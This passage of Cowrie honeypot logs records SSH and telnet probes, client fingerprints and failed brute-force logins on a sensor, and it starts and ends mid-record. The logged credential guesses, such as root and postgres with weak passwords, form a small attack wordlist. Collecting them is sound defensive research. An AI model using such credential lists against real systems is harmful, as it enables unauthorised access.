sa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:43.131369Z","src_ip":"143.20.185.207","session":"4e5ec84abb78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU16GBAMD","message":"login attempt [root/XYZZ4VCPU16GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:43.482861Z","src_ip":"143.20.185.207","session":"4e5ec84abb78","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:44.615340Z","src_ip":"143.20.185.207","session":"4e5ec84abb78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51070,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fa4c7de18b4","protocol":"telnet","message":"New connection: 170.64.224.25:51070 (159.203.135.109:23) [session: 0fa4c7de18b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:47.827797Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.150.146.69","src_port":38056,"dst_ip":"10.17.0.5","dst_port":23,"session":"3507ee1c032e","protocol":"telnet","message":"New connection: 107.150.146.69:38056 (10.17.0.5:23) [session: 3507ee1c032e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:49.038824Z"}
{"eventid":"cowrie.session.closed","duration":41.15832829475403,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:53.580969Z","src_ip":"170.64.224.25","session":"ca8c8a76c27a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50936,"dst_ip":"159.203.135.109","dst_port":23,"session":"1e55727a16ab","protocol":"telnet","message":"New connection: 170.64.224.25:50936 (159.203.135.109:23) [session: 1e55727a16ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:19:57.715907Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":43700,"dst_ip":"159.203.135.109","dst_port":22,"session":"c7b3c1e98c85","protocol":"ssh","message":"New connection: 160.187.174.22:43700 (159.203.135.109:22) [session: c7b3c1e98c85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:00.979495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:00.983590Z","src_ip":"160.187.174.22","session":"c7b3c1e98c85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:01.220017Z","src_ip":"160.187.174.22","session":"c7b3c1e98c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.58217191696167,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:02.955681Z","src_ip":"170.64.224.25","session":"cc1f4204c024","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":46830,"dst_ip":"10.17.0.5","dst_port":22,"session":"378f45f565ef","protocol":"ssh","message":"New connection: 91.92.40.4:46830 (10.17.0.5:22) [session: 378f45f565ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:04.916526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:04.927425Z","src_ip":"91.92.40.4","session":"378f45f565ef","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:05.009753Z","src_ip":"91.92.40.4","session":"378f45f565ef","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"q1w2e3","message":"login attempt [postgres/q1w2e3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:05.274588Z","src_ip":"91.92.40.4","session":"378f45f565ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:06.358657Z","src_ip":"91.92.40.4","session":"378f45f565ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:08.977499Z","src_ip":"160.187.174.22","session":"c7b3c1e98c85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":86.38690900802612,"message":"Connection lost after 86 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:19.260799Z","src_ip":"170.64.224.25","session":"956656788b1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.87665867805481,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:24.915399Z","src_ip":"107.150.146.69","session":"3507ee1c032e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":43556,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ba1945b3a69","protocol":"telnet","message":"New connection: 170.64.224.25:43556 (159.203.135.109:23) [session: 0ba1945b3a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:34.958403Z"}
{"eventid":"cowrie.session.closed","duration":50.14255118370056,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:37.970248Z","src_ip":"170.64.224.25","session":"0fa4c7de18b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":53.22912526130676,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:20:50.944924Z","src_ip":"170.64.224.25","session":"1e55727a16ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":26.66069507598877,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:21:01.618971Z","src_ip":"170.64.224.25","session":"0ba1945b3a69","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":51490,"dst_ip":"159.203.135.109","dst_port":23,"session":"54c98a384d6b","protocol":"telnet","message":"New connection: 170.64.224.25:51490 (159.203.135.109:23) [session: 54c98a384d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:21:16.543983Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":28646,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d01d66f771d","protocol":"ssh","message":"New connection: 194.59.206.2:28646 (159.203.135.109:22) [session: 3d01d66f771d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:00.110791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:00.120115Z","src_ip":"194.59.206.2","session":"3d01d66f771d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:00.212315Z","src_ip":"194.59.206.2","session":"3d01d66f771d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:00.308120Z","src_ip":"194.59.206.2","session":"3d01d66f771d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.0913507938385,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:01.635213Z","src_ip":"170.64.224.25","session":"54c98a384d6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":51722,"dst_ip":"10.17.0.5","dst_port":22,"session":"24ccab33cadb","protocol":"ssh","message":"New connection: 91.92.40.4:51722 (10.17.0.5:22) [session: 24ccab33cadb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:16.124660Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:16.128933Z","src_ip":"91.92.40.4","session":"24ccab33cadb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:16.209289Z","src_ip":"91.92.40.4","session":"24ccab33cadb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"q1w2e3r4","message":"login attempt [postgres/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:16.462686Z","src_ip":"91.92.40.4","session":"24ccab33cadb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:17.545522Z","src_ip":"91.92.40.4","session":"24ccab33cadb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"143.20.185.207","src_port":57778,"dst_ip":"10.17.0.5","dst_port":22,"session":"d95a07f1d552","protocol":"ssh","message":"New connection: 143.20.185.207:57778 (10.17.0.5:22) [session: d95a07f1d552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:45.473156Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:45.479181Z","src_ip":"143.20.185.207","session":"d95a07f1d552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:45.598006Z","src_ip":"143.20.185.207","session":"d95a07f1d552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ4VCPU8GBAMD","message":"login attempt [root/XYZZ4VCPU8GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:45.939487Z","src_ip":"143.20.185.207","session":"d95a07f1d552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:47.058648Z","src_ip":"143.20.185.207","session":"d95a07f1d552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.252.20.159","src_port":50190,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff930e971bba","protocol":"ssh","message":"New connection: 99.252.20.159:50190 (10.17.0.5:22) [session: ff930e971bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:50.535036Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:50.539413Z","src_ip":"99.252.20.159","session":"ff930e971bba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:50.570964Z","src_ip":"99.252.20.159","session":"ff930e971bba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"okx456","message":"login attempt [root/okx456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:50.660431Z","src_ip":"99.252.20.159","session":"ff930e971bba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:22:51.705532Z","src_ip":"99.252.20.159","session":"ff930e971bba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39054,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a264fdf840","protocol":"telnet","message":"New connection: 170.64.224.25:39054 (159.203.135.109:23) [session: 68a264fdf840]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:16.239187Z"}
{"eventid":"cowrie.session.connect","src_ip":"173.236.141.65","src_port":48846,"dst_ip":"159.203.135.109","dst_port":22,"session":"e29004afa4a8","protocol":"ssh","message":"New connection: 173.236.141.65:48846 (159.203.135.109:22) [session: e29004afa4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:39.289807Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T03:23:39.293173Z","src_ip":"173.236.141.65","session":"e29004afa4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ct